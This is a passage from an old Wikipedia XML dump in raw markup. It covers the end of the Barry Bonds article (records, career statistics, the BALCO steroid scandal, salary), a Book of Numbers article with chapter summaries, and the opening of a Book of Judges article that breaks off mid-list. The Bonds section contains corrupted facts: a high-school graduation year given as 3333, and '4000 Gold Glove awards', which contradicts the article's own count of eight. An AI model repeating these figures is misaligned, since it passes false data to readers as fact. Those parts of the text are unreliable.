stat3value=.611|
formerteams=&lt;nowiki&gt;&lt;/nowiki&gt;
*[[Pittsburgh Pirates]] ([[1986 in baseball|1986]]-[[1992 in baseball|1992]])
}}

'''Barry Lamar Bonds''' (born [[July 24]] [[1964]] in [[Riverside, California|Riverside]], [[California]]) is a [[left fielder]] in [[Major League Baseball]] for the [[San Francisco Giants]]; he is most famous for his [[home run]] hitting. He holds the record for most homers in a season with 73 and is [[Top 500 home run hitters of all time|third on the career list]] with 708. He is generally considered among the greatest players of all time, and has won a record seven [[MLB Most Valuable Player Award|MVP awards]]; for those who view baseball through the prism of [[sabermetrics]], he, [[Babe Ruth]], and [[Ted Williams]] are the top three hitters. He is the only player in history to have hit at least 400 home runs and [[stolen base|stolen]] at least 400 bases, as well as the only player in history to hit 500 home runs and steal 500 bases. He has won eight [[Gold Glove Award]]s for defensive excellence. However, he is the focus of a raging debate in the baseball world, centering on two questions: has he had help in the form of illegal performance-improving drugs, and if so, to what degree, if any, does the use of these drugs account for his accomplishments? This debate has been further fueled by reports of testimony given in the investigation of the [[Bay Area Laboratory Co-operative]] scandal.  	 
 		 
==Background==
 	 
The son of former [[Major League Baseball All-Star Game|All-Star]] [[Bobby Bonds]], Barry Bonds graduated in 3333 from [[Junipero Serra High School]] ([[San Mateo, California|San Mateo, Calif.]]), excelling in baseball, [[basketball]] and [[American football|football]]. Although Bobby was immediately drafted by the [[San Francisco Giants]], Bonds chose to go to college first, playing baseball and earning a degree at [[Arizona State University]] in [[Criminology]]. He began his major league career in [[1986 in baseball|1986]] with the [[Pittsburgh Pirates]]. In [[1993 in baseball|1993]], he left the Pirates to sign as a [[free agent]] with the Giants, for whom his father had played the first seven years of his career. 	 
 		 
Bonds' speed and power in his early and middle years recalled his father's abilities. [[Baseball Hall of Fame]]r [[Willie Mays]] is his godfather; [[Reggie Jackson]], another Hall of Famer, is his uncle. His aunt [[Rosie Bonds]] finished 8th in the [[Women's 80-meter hurdles]] (Extended to [[100-meter hurdles]] in [[1971]]) at the [[1964 Summer Olympics]] in [[Tokyo]],[[Japan]].

==Achievements== 	 

In ''[[Sports Illustrated]]'' (June 5, 2000), San Francisco Giant [[Shawon Dunston]] said of his teammate Bonds, &quot;He's not going to hit 70 homers, but he believes he can. That's frightening.&quot; The next year, Bonds set the single-season home run record, hitting [[73 (number)|73]] to break [[Mark McGwire]]'s 70-homer mark set in [[1998 in baseball|1998]]. Some analysts consider Bonds' [[2001 in baseball|2001]] performance among the greatest hitting seasons in history. Besides the home run record, he set single-season marks for [[base on balls|walks]] (177) and [[slugging percentage]] (.863) (topping Ruth's records of 170 and .847, set in [[1923 in baseball|1923]] and [[1920 in baseball|1920]], respectively). In [[2002 in baseball|2002]], however, he did not repeat his 73-homer feat. Partly because pitchers tried to &quot;pitch around&quot; him whenever possible, he bettered his own record for walks with 198, which contributed greatly to a .582 [[on-base percentage]], breaking Williams' 1941 record of .551. He also won the National League [[batting average|batting title]] with a .370 average, becoming the oldest player to win the honor for the first time. In [[2004 in baseball|2004]], he won his second batting title with a .362 average. He also broke two of his own records: [[on-base plus slugging|OPS]], with 1.422, and on-base percentage with .609 - the only time a player has bettered .600 over a full season. 	 
 		 
Bonds has been voted the National League's [[MLB Most Valuable Player award|Most Valuable Player]] a record seven times, in [[1990 in baseball|1990]], [[1992 in baseball|1992]], [[1993 in baseball|1993]], 2001, 2002, [[2003 in baseball|2003]], and 2004. He is the first player in history to be MVP in four or even three consecutive years, and no other player has won the award more than three times. He was also second in the voting for the award twice: in [[1991 in baseball|1991]] to [[Terry Pendleton]] of the [[Atlanta Braves]], and in [[2000 in baseball|2000]] to then-teammate [[Jeff Kent]]. During the 2002 season, Bonds became the fourth man to hit 600 career home runs, and also set the record for most home runs hit in a single post-season (8). The Giants would lose the [[2002 World Series|World Series]] that year to the [[Anaheim Angels]], four games to three. 	 
 		 
Bonds' 4000 Gold Glove awards as an outfielder are the third-most ever for that position. He has been named to 13 National League All-Star teams: 1990, 1992-1998, 2000-2004. 	 
 		 
Bonds became the first 400-400 player (400 home runs and 400 stolen bases) on [[August 23]], 1998, when he hit home run number 400 off of [[Florida Marlins|Florida's]] [[Kirt Ojala]]. He had stolen his 400th base on July 26, [[1997 in baseball|1997]] against the [[Pittsburgh Pirates]] at [[Candlestick Park]]. On June 23 2003, Bonds recorded his 500th stolen base in the eleventh inning of a game against the [[Los Angeles Dodgers]] at [[SBC Park|Pacific Bell Park]]. Bonds later scored the winning run. By chance, his ailing father Bobby was in attendance that night. With 633 career home runs at the time, Bonds became the first 500-500 player in baseball history, already the only member of the 400-400 club. In addition, in [[1996 in baseball|1996]] Bonds became the second of the three current members of the so called [[40-40 club]]: 40 home runs and 40 stolen bases in one season. The other two members are [[José Canseco]] and [[Alex Rodriguez]]. 	 
 		 
Bonds is among the power hitters who &quot;crowd the plate&quot;: [[batting (baseball)|standing]] in such a way that his body is almost over the plate (and thus close to the [[strike zone]]). Because of Bonds and others like [[Mo Vaughn]], in 2001 Major League Baseball instructed [[umpire (baseball)|umpires]] to call a slightly different strike zone, calling more high inside pitches strikes. The new regulations also banned hitters from using hard protective gear apart from helmets (e.g., hard elbow or chest guards), which enabled them to get closer to the plate. 	 
 		 
On April 12, 2004, Bonds hit his 660th home run, tying him with his godfather [[Willie Mays]] for 3rd on the all-time career home run list in a game against the [[Milwaukee Brewers]] at SBC Park. [[Larry Ellison (baseball)|Larry Ellison]] ('''''not''''' the CEO of &lt;nowiki&gt;Oracle Corporation&lt;/nowiki&gt;) caught the home run and returned it to Barry. He hit his 661st home run at the same venue the next day, April 13, placing him in outright third behind [[Babe Ruth]] (714) and [[Hank Aaron]] (755). Ellison also caught number 661, but kept it for himself with Barry's blessing. (Ellison was in a kayak in [[McCovey Cove]], an arm of [[San Francisco Bay]] that lies behind the right-field stands at SBC Park, so this wasn't quite the amazing coincidence it appears at first sight.) 	 
 		 
On July 4, 2004, Bonds passed [[Rickey Henderson]] to take the lead in career walks, with his 2191st. Later in 2004, he broke his own single-season record for walks, becoming the first player with over 200 in a season and ending the season with 232. His total of 232 walks was 105 more than the next closest leader, [[Lance Berkman]], [[Todd Helton]], and [[Bobby Abreu]] who all had 127. Included in Bonds' 2004 total were 120 [[intentional walk]]s, the most issued since MLB began recording them separately in 1954. 	 
 		 
Bonds also has the 2nd- and 3rd-highest single-season intentional walk totals, with 68 in 2002 and 61 in 2003. He has been the league leader in the category for 13 of the past 14 seasons. 	 
 		 
Bonds holds almost every major league record in existence for intentional walks with four in a nine-inning game (2004), 120 in a season (2004) and 604 in his career (more than the next two players on the all-time list, [[Hank Aaron]] and [[Willie McCovey]], combined). Bonds, a prolific home run hitter, is an easy candidate for the intentional walk. In the first month of the 2004 season, Bonds drew 43 walks, 22 of them intentional. He broke his previous record of 68 intentional walks, set in 2002, on July 10, 2004 in his last appearance before the All-Star break. On May 28, 1998, Bonds became one of only four players in major league history to be intentionally walked with the bases loaded, when the [[Arizona Diamondbacks]] elected to give up a run and face catcher [[Brent Mayne]] instead. 	 
 		 
On September 17, 2004, Bonds hit his 700th home run off [[San Diego Padres]] pitcher [[Jake Peavy]] in San Francisco and became only the third man to achieve the 700 home run plateau.

==Resurgence== 	 
Although [[Ken Griffey Jr.]] was voted Player of the Decade in the 1990s, many believed that Bonds was the better player. In [[1999]], with only statistics through [[1997]] counted, Bonds ranked Number 34 on ''[[The Sporting News]]''' list of the 100 Greatest Baseball Players, making him the highest-ranking active player (next-best was Greg Maddux at Number 39), while Griffey came in at Number 93. When the Sporting News list was redone in 2005, Bonds jumped up 28 spaces to Number 6 All Time, behind only [[Babe Ruth]], [[Willie Mays]], [[Ty Cobb]], [[Walter Johnson]], and [[Hank Aaron]]. However, while Bonds was nominated as a finalist for the [[Major League Baseball]] All-Century Team that year, Griffey was actually elected to it, probably due to being more popular rather than more impressive or more respected. 	 
 		 
Through the decade, Bonds was a very patient hitter and great slugger who stole bases and played exceptional defense. While by the end of the decade Bonds was regarded as a surefire Hall of Famer, it was in the beginning of the millennium - at the age of 37 - when Bonds would surpass his peers and achieve a level that only a couple of hitters in the history of the game have achieved. 	 
 		 
In 2001, Bonds hit 73 HRs (the only time he has hit over 50 in a season), and even more astonishingly, surpassed Babe Ruth's record of single-season slugging percentage with a mind-blowing .863. The very next year, he broke Ted Williams' single-season on-base percentage record with .582, and then shattered his own record in 2004 with an unprecedented .609. Bonds holds virtually every record associated with walks, whether in a season (232), in a game (6), or intentional (4). 	 
 		 
Today Bonds is generally considered to be the best hitter in the game, and comparable only to a handful of hitters in the sport's entire history. Many of the game's best players, hitter and pitcher alike, remain in awe of Bonds' bat speed and dominance at the plate.

== 2005 injury problems == 	 
On [[March 22]], [[2005 in baseball|2005]], Bonds announced that he could be sidelined for the rest of the 2005 season because of surgery on his knee. At the press conference, Bonds also indicated that he was frustrated by the focus on his alleged [[steroid]] use and the negative portrayal of him in the media. Later, Bonds sounded positive about his rehabilitation and told fans at the Opening Day festivities, &quot;I will be back!&quot; The chances of Bonds' return to the playing field were covered relentlessly through the summer by ESPN, in anticipation of potentially unprecedented scrutiny by the media and baseball fans. For the media, this story was irresistible in light of baseball's recently toughened testing program for steroids. On [[May 4]], Bonds revealed on his website that he had undergone a third arthroscopic knee surgery because of a bacterial infection in his knee. This setback led many to assume Bonds would not play in the 2005 season. It also raised much speculation as to whether [[Hank Aaron]]'s career home run record of 755 is out of reach. 	 
 		 
On [[August 1]], in an interview with MLB.com, Bonds stated that he would most likely not return for the 2005 season due to continued buildup of fluid in the knee due to activities. On [[August 5]], however, he stated on his website that he was unsure but remained optimistic. 	 
 		 
In September, Bonds started working out with the team while the team was in Los Angeles, playing the [[Los Angeles Dodgers|Dodgers]]. On [[September 10]], the Giants announced that Bonds would be activated on [[September 12]]. He was indeed activated that day and immediately returned to being a starter in left field. In his return against the [[San Diego Padres]], he nearly hit a home run in his first at-bat, but the ball was ruled to be only a double due to fan interference. Bonds finished the night 1-for-4 with a double. Bonds continued his pre-injury dominance at the plate, hitting home runs in four consecutive games from [[September 18]] to [[September 21]]. 

==2006 season his last?==  	 
On [[February 19]], [[2006]], Bonds announced in an interview with [[USA Today]] that he plans on retiring at the conclusion of the 2006 season, with or without the all-time home run record. &quot;&quot;I've never cared about records anyway,&quot; Bonds said, &quot;so what difference does it make? I'm not playing baseball anymore after this. The game (isn't) fun anymore. I'm tired of all of the crap going on. I want to play this year out, hopefully win, and once the season is over, go home and be with my family. Maybe then everybody can just forget about me.&quot; Bonds also claimed in his interview that he wasn't as athletic as he used to be.[http://www.usatoday.com/sports/baseball/nl/giants/2006-02-19-bonds-retirement_x.htm?POE=SPOISVA] However, the next day, Bonds softened his stance and said he would perhaps play in the 2007 season if his knee improved.[http://sports.espn.go.com/mlb/news/story?id=2336586] He currently stands at 708 home runs; to break Hank Aaron's record, he will have to hit 48 home runs in the 2006 season.	 
 		 
==Career Statistics (as of September 29, 2005)== 	 
&lt;pre&gt; 	 
Year Ag Tm  Lg   G   AB   R   H  2B 3B HR RBI SB CS  BB  SO  BA   OBP  SLG TB  SH SF IBB HBP GDP 	 
+---+--+---+--++---++---+---+---+--+--+--+---+--+--+---+---+----+----+----+---+--+--+---+---+---+ 	 
1986 21 PIT NL  113  413  72  92 26  3 16  48 36  7  65 102 .223 .330 .416 172  2  2   2  2   4 	 
1987 22 PIT NL  150  551  99 144 34  9 25  59 32 10  54  88 .261 .329 .492 271  0  3   3  3   4 	 
1988 23 PIT NL  144  538  97 152 30  5 24  58 17 11  72  82 .283 .368 .491 264  0  2  14  2   3 	 
1989 24 PIT NL  159  580  96 144 34  6 19  58 32 10  93  93 .248 .351 .426 247  1  4  22  1   9 	 
1990 25 PIT NL  151  519 104 156 32  3 33 114 52 13  93  83 .301 .406 .565 293  0  6  15  3   8 	 
1991 26 PIT NL  153  510  95 149 28  5 25 116 43 13 107  73 .292 .410 .514 262  0 13  25  4   8 	 
1992 27 PIT NL  140  473 109 147 36  5 34 103 39  8 127  69 .311 .456 .624 295  0  7  32  5   9 	 
1993 28 SFG NL  159  539 129 181 38  4 46 123 29 12 126  79 .336 .458 .677 365  0  7  43  2  11 	 
1994 29 SFG NL  112  391  89 122 18  1 37  81 29  9  74  43 .312 .426 .647 253  0  3  18  6   3 	 
1995 30 SFG NL  144  506 109 149 30  7 33 104 31 10 120  83 .294 .431 .577 292  0  4  22  5  12 	 
1996 31 SFG NL  158  517 122 159 27  3 42 129 40  7 151  76 .308 .461 .615 318  0  6  30  1  11 	 
1997 32 SFG NL  159  532 123 155 26  5 40 101 37  8 145  87 .291 .446 .585 311  0  5  34  8  13 	 
1998 33 SFG NL  156  552 120 167 44  7 37 122 28 12 130  92 .303 .438 .609 336  1  6  29  8  15 	 
1999 34 SFG NL  102  355  91  93 20  2 34  83 15  2  73  62 .262 .389 .617 219  0  3   9  3   6 	 
2000 35 SFG NL  143  480 129 147 28  4 49 106 11  3 117  77 .306 .440 .688 330  0  7  22  3   6 	 
2001 36 SFG NL  153  476 129 156 32  2 73 137 13  3 177  93 .328 .515 .863 411  0  2  35  9   5 	 
2002 37 SFG NL  143  403 117 149 31  2 46 110  9  2 198  47 .370 .582 .799 322  0  2  68  9   4  	 
2003 38 SFG NL  130  390 111 133 22  1 45  90  7  0 148  58 .341 .529 .749 292  0  2  61 10   7 	 
2004 39 SFG NL  147  373 129 135 27  3 45 101  6  1 232  41 .362 .609 .812 303  0  3 120  9   5 	 
2005 40 SFG NL   14   42   8  12  1  0  5  10  0  0   9   6 .286 .404 .667  28  0  1   3  0   0 	 
+---+--+---+--++---++---+---+---+--+--+--+---+--+--+---+---+----+----+----+---+--+--+---+---+---+ 	 
&lt;/pre&gt; 	 
&lt;/center&gt; 	 
 		 
==The BALCO scandal== 	 
In [[2003 in baseball|2003]], Bonds became embroiled in a scandal when [[Greg F. Anderson]] of the [[Bay Area Laboratory Co-operative]], Bonds' trainer since 2000, was indicted by a federal [[grand jury]] and charged with supplying [[anabolic steroids]] to athletes, including a number of unnamed baseball players. This led to speculation that Bonds had used performance-enhancing drugs during a time when there was no mandatory testing in Major League Baseball. Bonds declared his innocence, attributing his changed physique and increased power to a strict regimen of bodybuilding and legitimate dietary supplements. 	 
 		 
During grand jury testimony on December 4, 2003 — which was obtained through unknown means by the ''[[San Francisco Chronicle]]'' and published almost a year later, on December 3, 2004 [http://sfgate.com/cgi-bin/article.cgi?file=/c/a/2004/12/03/MNGGFA0UDU65.DTL] — Bonds said Anderson gave him a rubbing balm and a liquid substance he called &quot;the cream&quot; and &quot;the clear&quot;. BALCO founder Victor Conte had identified &quot;the clear&quot; as the designer steroid [[Tetrahydrogestrinone|THG]], and prosecutors contended &quot;the cream&quot; was a testosterone-based ointment. Bonds said that at the time he did not believe them to be steroids. Bonds would later quote that he &quot;unwillingly&quot; used steroids for his defense. 
 		 
In August 2005, all four defendants in the BALCO steroid scandal trial, including Anderson, struck deals with federal prosecutors that did not require them to reveal names of athletes who may have used banned drugs. 	 
 		 
Some baseball pundits, fans, and even players have taken this as evidence that Bonds has used illegal steroids.  However, Bonds has never failed a drug test administered by the league.

==Salary== 	 
Bonds re-signed with the Giants for a five-year, [[US dollar|$]]90 million contract in January 2002. His salary for the 2005 season was $22 million, and is tied with [[Manny Ramirez]] for the second-highest salary in Major League Baseball.  Some have argued that Bonds, who will turn 42 in July 2006, has a better chance of setting the career home run record as a [[designated hitter]], and that due to his diminished defensive skills, the Giants would benefit from Bonds leaving the team.  This has led to speculation about possible trades involving Bonds.  Giants owner [[Peter Magowan]] has said he wants Bonds back, but would not rule out a trade.  However, as a player with 10 years of major league service (five with the same club), Bonds must approve any deal, and he has stated on the record that he will not accept a trade.

[[Category:San Francisco Giants players|Bonds, Barry]]
[[Category:500 home run club|Bonds, Barry]]
[[Category:BALCO Scandal]]
[[Category:Baseball Families]]

[[da:Barry Bonds]]
[[es:Barry Bonds]]
[[fr:Barry Bonds]]
[[gl:Barry Bonds]]
[[ja:バリー・ボンズ]]
[[zh:貝瑞·邦茲]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Numbers</title>
    <id>4376</id>
    <revision>
      <id>41198627</id>
      <timestamp>2006-02-25T18:57:20Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: zh</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Torah}}
The '''Book of Numbers''' is the fourth of the books of the [[Pentateuch]], called in the [[Hebrew language|Hebrew]] ''ba-midbar'' &amp;#1489;&amp;#1502;&amp;#1491;&amp;#1489;&amp;#1512;, i.e., &quot;in the desert.&quot;  In the [[Septuagint]] version it is called ''Arithmoi'' (&quot;Numbers&quot;), and this name is now the usual title of the book. It is so called because it contains a record of the numbering of the people in the wilderness of [[Sinai Peninsula|Sinai]] (1-4), and of their numbering afterwards on the plain of [[Moab]] (26).

This book is of special historical interest as furnishing us with details as to the route of the [[Israelites]] in the wilderness and their principal encampments. It may be divided into three parts:

#The numbering of the people at Sinai, and preparations for resuming their march (1-10:10). The sixth chapter gives an account of the vow of a [[Nazirite]].
#An account of the journey from Sinai to Moab, the sending out of the spies and the report they brought back, and the murmurings (eight times) of the people at the hardships by the way (10:11-21:20).
#The transactions in the plain of Moab before crossing the [[Jordan River]] (21:21-ch. 36).

The period comprehended in the history extends from the second month of the second year after the [[Exodus]] to the beginning of the eleventh month of the fortieth year, in all about thirty-eight years and ten months; a dreary period of wanderings. They were fewer in number at the end of their wanderings than when they left the land of [[Egypt]].

The expression &quot;the book of the wars of the Lord,&quot; occurring in 21:14, has given rise to much discussion. But, after all,
&quot;what this book was is uncertain, whether some writing of Israel not now extant, or some writing of the [[Amorites]] which contained songs and triumphs of their king [[Sihon]]'s victories, out of which [[Moses]] may cite this testimony, as [[Paul of Tarsus|Paul]] sometimes does out of heathen poets (Acts 17:28; Titus 1:12).&quot;

The modern [[documentary hypothesis]] asserts that the book of Numbers was created as part of the combination by a [[Torah redactor|redactor of the Torah]] from two competing parallel works known as [[JE]] and the [[Priestly source]].

== Summary ==

=== Chapter 1 ===

God orders Moses, in the wilderness of Sinai, to take the number of those able to bear arms&amp;mdash;of all the men &quot;from twenty years old and upward,&quot; the tribe of Levi being excepted, and to appoint princes over each tribe. The result of the numbering is that 603,550 Israelites are found to be fit for military service. Moses is ordered to assign to the Levites exclusively the service of the [[Tabernacle]].

=== Chapter 2 ===

God prescribes the formation of the camp around the Tabernacle, each tribe being distinguished by its chosen banner. Judah, Issachar, and Zebulun encamp to the east of the Tabernacle; Reuben, Simeon, and Gad to the south; Ephraim and Manasseh to the west; and Dan, Asher, and Naphtali to the north. The same order is to be preserved on the march.

=== Chapter 3 ===

Of Aaron's sons and of the death of Nadab and Abihu. Moses is ordered to consecrate the Levites for the service of the Tabernacle in the place of the first-born sons, who hitherto had performed that service. The Levites are divided into three families, the Gershonites, the Kohathites, and the Merarites, each under a chief, and all headed by one prince, Eleazar, son of Aaron. 

=== Chapters 4-6 ===

The numbering of those Levites who are suited for the service of the Tabernacle&amp;mdash;those from thirty to fifty years of age.

Ordinances and laws concerning lepers and other ritually unclean persons who are excluded from the camp; concerning reparation for common sins; concerning an unfaithful wife, her trial by the priest, and her atonement; concerning the Nazarite, and the ceremony performed at the expiration of his vow; the formal blessing of the people.

=== Chapters 7-9 ===

The offerings of the princes of the twelve tribes at the dedication of the altar. The lighting of the candlestick; the separation of the Levites and the ceremony of their consecration; their term of service&amp;mdash;from twenty-five to fifty years of age. Deferred Passover sacrifices; the cloud which directed the halts and journeys of the Israelites.

=== Chapters 10-12 ===

Moses is ordered to make two silver trumpets for convoking the congregation and announcing the recommencement of a journey; the various occasions for the use of the trumpets; the first journey of the Israelites after the Tabernacle had been constructed; Moses requests Hobab to be their leader. The people murmur against God and are punished by fire; Moses complains of the stubbornness of the Israelites and is ordered to choose seventy elders to assist him in the government of the people; account of Eldad and Medad, of the shower of quails, and of the epidemic at Kibroth-hattaavah. Miriam and Aaron insult Moses at Hazeroth, and Miriam is punished with leprosy for seven days, at the end of which the Israelites proceed to the wilderness of Paran.


=== Chapters 13-14 ===

The spies are sent out into the lands and come back to report to Moses. The spies have to see how fertile the ground is, how fortified the cites are and how strong the people are.  Caleb says the land is abundant and is &quot;flowing with milk and honey.&quot;  The other spies say that it is inhabited by strong and evil men, which causes the Israelites to want to return to Egypt.  The Lord talks to Moses and says he will abandon the Israelites.  Moses talks him out of this by saying that others would think badly of God for leading his people to the wilderness and abandoning them there.  God speaks to Aaron of having to wander in the wilderness for 40 years.

=== Chapters 15-17 ===

Ordinances to be observed in Canaan; different kinds of offerings; &quot;hallah,&quot; or the priest's share of the dough; the atonement for involuntary sins; concerning the man found gathering sticks on the Sabbath-day; the law of fringes (see Fringes); the rebellion and punishment of Korah and his 250 adherents.

Moses ordered to make plates to cover the altar with the two hundred and fifty censers left after the destruction of Korah's band. The children of Israel murmur against Moses and Aaron on account of the death of Korah's men, and are stricken with the plague, 14,700 perishing; Aaron's rod.

Note: the story of Korah is also told in the [[Qur'an]], wherin Korah is named Qarun (see: [[Similarities between the Bible and the Qur'an]]).

=== Chapters 18-19 ===

Aaron and his family are declared by God to be responsible for any iniquity committed in connection with the sanctuary. The Levites are again appointed to help him in the keeping of the Tabernacle. Concerning the priestly portions and the tithes given the Levites. The Levites are ordered to surrender to the priests a part of the tithes taken by them. The law of the red heifer.

=== Chapters 20-21 ===

After Miriam's death at Kadesh, the Israelites blame Moses for the lack of water. Moses, ordered by God to speak to the rock, disobeys by striking it, and is punished by the announcement that he shall not enter Canaan. The King of Edom refuses permission to the Israelites to pass through his land. Aaron's death on Mount Hor.

Defeat of King Arad the Canaanite by the Israelites. The Israelites bitten by serpents for speaking against God and Moses. The brazen serpent. The wanderings of the Israelites prior to reaching the valley of Moab. Battles with and defeat of Sihon and Og.

=== Chapters 22-24 ===

The episode of [[Balak]] and [[Balaam]].

=== Chapters 25-27 ===

The Israelites encamped at Shittim commit abominations with the daughters of Moab and join Baal-peor. A plague carries off 24,000 Israelites. Phinehas slays Zimri. The new census, taken just before the entry into the land of Canaan, gives the total number of males from twenty years and upward as 601,730, the number of the Levites from a month old and upward as 23,000. The land shall be divided by lot. The daughters of Zelophehad, their father having no sons, share in the allotment. Moses is ordered to appoint Joshua as his successor.

=== Chapters 28-29 ===

Prescriptions for the observance of the feasts, and the offerings for different occasions: every day; the Sabbath; the first day of the month; the seven days of the Feast of Unleavened Bread; the day of first-fruits; the day of the trumpets; the Day of Atonement; the seven days of the Feast of Tabernacles; the day of solemn assembly.

=== Chapters 30-32 ===

Laws concerning vows of men and of married and unmarried women. The conquest of Midian by the Israelites. The Reubenites and the Gadites request Moses to assign them the land east of the Jordan. After their promise to go before the army to help in the conquest of the land west of the Jordan, Moses grants their request. The land east of the Jordan is divided among the tribes of Reuben, Gad, and the half-tribe of Manasseh. The cities built by these tribes.

=== Chapter 33-36 ===

Enumeration of the stations at which the Israelites halted during their forty years' wanderings in the wilderness. While in the plains of Moab the Israelites are told that, after crossing the Jordan, they should expel the Canaanites and destroy their idols.

The boundaries of the land of which the Israelites are about to take possession. The land is to be divided among the tribes under the superintendence of Eleazar, Joshua, and twelve princes, one of each tribe.

The forty-eight cities assigned to the Levites, and the six cities of refuge. Laws concerning murder and the cities of refuge, and female inheritance.

==See also==
* [[Torah]]
* [[Balaam]]
* [[Priestly Blessing]]
* [[Wilderness of Sin]]

==External links==
Online versions and translations of the [[Book of Numbers]]:
*Original text:
** [http://www.mechon-mamre.org/p/pt/pt0401.htm &amp;#1489;&amp;#1502;&amp;#1491;&amp;#1489;&amp;#1512; ''Bamidbar'' - Numbers] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)

*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et0401.htm Numbers at Mechon-Mamre] (Jewish Publication Society translation)
** [http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=4&amp;CHAPTER=1 Numbers (The Living Torah)] Rabbi [[Aryeh Kaplan]]'s translation and commentary at Ort.org
** [http://www.chabad.org/article.asp?AID=8163 Bamidbar - Numbers (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 

* [[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/04_numbers.htm Numbers at The Great Books] (New Revised Standard Version)
** {{biblegateway||Numbers}}
** [http://en.wikisource.org/wiki/Bible,_King_James,_Numbers Numbers at Wikisource] (Authorised King James Version)

* Translations identifying sources according to the [[documentary hypothesis]]:
**[[Wikisource:Bible, English, King James, Documentary Hypothesis, Numbers|Numbers with sources highlighted, at Wikisource]]

Related articles:
* [http://www.jewishencyclopedia.com/view.jsp?artid=364&amp;letter=N&amp;search=Numbers Book of Numbers article] (Jewish Encyclopedia)
* [http://www.plymouthbrethren.org/passage.asp?passage_id=4 Numbers from The Biblical Resource Database]

[[Category:Torah|Numbers, Book of]]
[[Category:Old Testament books|Numbers]]

[[ast:Númberos]]
[[bg:Числа (Библия)]]
[[zh-min-nan:Bîn-siàu-kì]]
[[ca:Llibre dels Nombres]]
[[cs:Numeri]]
[[de:Numeri (Buch)]]
[[es:Números]]
[[eo:Nombroj]]
[[fr:Livre des Nombres]]
[[ko:민수기]]
[[id:Bilangan]]
[[he:במדבר]]
[[jv:Wilangan]]
[[li:Numeri]]
[[nl:Numeri]]
[[ja:民数記]]
[[nn:Fjerde mosebok]]
[[pl:Księga Liczb]]
[[pt:Livro dos Números]]
[[ru:Книга Числа]]
[[scn:Nùmmiri (libbru)]]
[[fi:Neljäs Mooseksen kirja]]
[[sv:Fjärde Moseboken]]
[[zh:民数记]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Judges</title>
    <id>4377</id>
    <revision>
      <id>41977828</id>
      <timestamp>2006-03-03T00:25:50Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (2): apparant→apparent, noticable→noticeable</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
'''Book of Judges''' ([[Hebrew language|Hebrew]]: ספר שופטים) is a [[Books of the Bible|book of the Bible]] originally written in [[Hebrew language|Hebrew]]. It appears in the [[Hebrew Bible]] ([[Judaism]]'s [[Tanakh]]) and in the Christian [[Old Testament]]. Its title refers to its contents; it contains the history of [[Biblical judges]] (not to be confused with modern [[judge]]s), and of their times. who helped rule and guide the ancient [[Israelites]]. 

As it stands today, the last judge mentioned in Judges is [[Samson]], and although there are two further stories, the traditional view is that Samson's exploits probably synchronise with the period immediately preceding [[Eli]], who was both high priest and judge. Both academic views and traditional thought hence views the narrative of the judges as ending at Samson and picking up again at [[1 Samuel]] 1:1 to consider Eli, and continuing through to 1 Samuel 7:2. As for the stories at the end of the Book, which are set in the same time period as the the judges, but discuss people other than the judges, there is much affinity between these and the [[Book of Ruth]], and many people believe Ruth originally belonged amongst them.

==Structure and content==
Academics treat the text of Judges as having three distinct sections:
*The ''Introduction'' (1:1-3:10 and 3:12) giving a summary of the book of Joshua
*The ''Main Text'' (3:11-16:31), discussing the five ''Great Judges'', Abimelech, and providing glosses for a few minor Judges
*The ''Appendices'' (17:1-21:25), giving two stories set in the time of the Judges, but not discussing the Judges themselves. 

;The introduction
The introduction summarises much of the material discussed in Joshua, in some cases giving additional details:
*The choosing of [[Tribe of Judah|Judah]] to lead the attack (Judges 1:1-3)
*The capture of [[Adonibezek]], and destruction of Jerusalem, (Judges 1:4-8) differing materially from the account of Adonibezek in Joshua (Joshua 10)
*The story of [[Othniel]] (Judges 1:11-15) almost identical to its mention in Joshua (Joshua 15:15-19)
*A [[list of destroyed and surviving Canaanite cities|list of the successes and failures of Judah and Simeon's campaigns]] (1:17-20)
*The descendants of [[Moses]]' father-in-law (either [[Hobab]] or [[Raguel]]/[[Reuel]]/[[Jesse]] - this is unclear) move to the [[Negev]] (Judges 1:16)
*[[Caleb]] driving away the sons of [[Anak]] from [[Hebron]] (Judges 1:10 and 1:20) as mentioned in Joshua (Joshua 15:14)
*The destruction of [[Luz]] and sparing of an individual who aided the Israelite spies (1:22-26)
*A [[list of destroyed and surviving Canaanite cities|list of the failures of the campaigns by the northern tribes]] (1:21-36)
*A threat by an angel at [[Bochim]] (2:1-5)
*The death of Joshua (Judges 2:6-9) similar to the account in Joshua (Joshua 24:28-31)
*An introduction to the role of [[Biblical judges]] (2:10-3:6)
**The falling of the Israelites into heathen practices (2:10-14)
**A very brief overview of the main part of the Book of Judges (2:15-19)
**An explanation of why God allowed some Canaanites to remain (2:20-3:4)
**A recap of the Israelites falling into heathen practices, as the start of the main part of the book (3:5-6)
*The story of [[Othniel]] (Judges 3:7-10) again, presented differently to the earlier mention (Judges 1:11-15)

;The main text
The main text mostly consists of six stories each concerning a major judge and their struggles against an oppresive foreign overlord:
*[[Ehud]] (3:11-29) vs. [[Eglon]] of [[Moab]]
*[[Deborah]] the prophetess and [[Barak]] the army leader (4-5) vs. [[Jabin]] of [[Hazor]] (in [[Canaan]]) and [[Siserah]], his captain
*[[Gideon]] (6-8) vs. [[Midian]], [[Amalek]], and the ''children of the East''
*[[Abimelech]] (9) (who is traditionally counted as a king not a judge, and is considered evil) vs. all the Israelites who opposed him
*[[Jephthah]] (11-12:7) vs. the [[Ammonites]]
*[[Samson]] (13-16) vs. the [[Philistines]]

There are also brief glosses of the rule of lesser judges, often only giving their name and the number of their sons.
*[[Shamgar]] (3:31)
*[[Tola]] (10:1-2)
*[[Jair]] (10:3-5)
*[[Izban]] (12:8-10)
*[[Elon]] (12:11-12)
*[[Abdon]] (12:13-15)

;The appendices
There are two appendices, with no apparent narrative connection to each other, or the remainder of the text:
*[[Dan and the Idols of Micah]] (17-18)
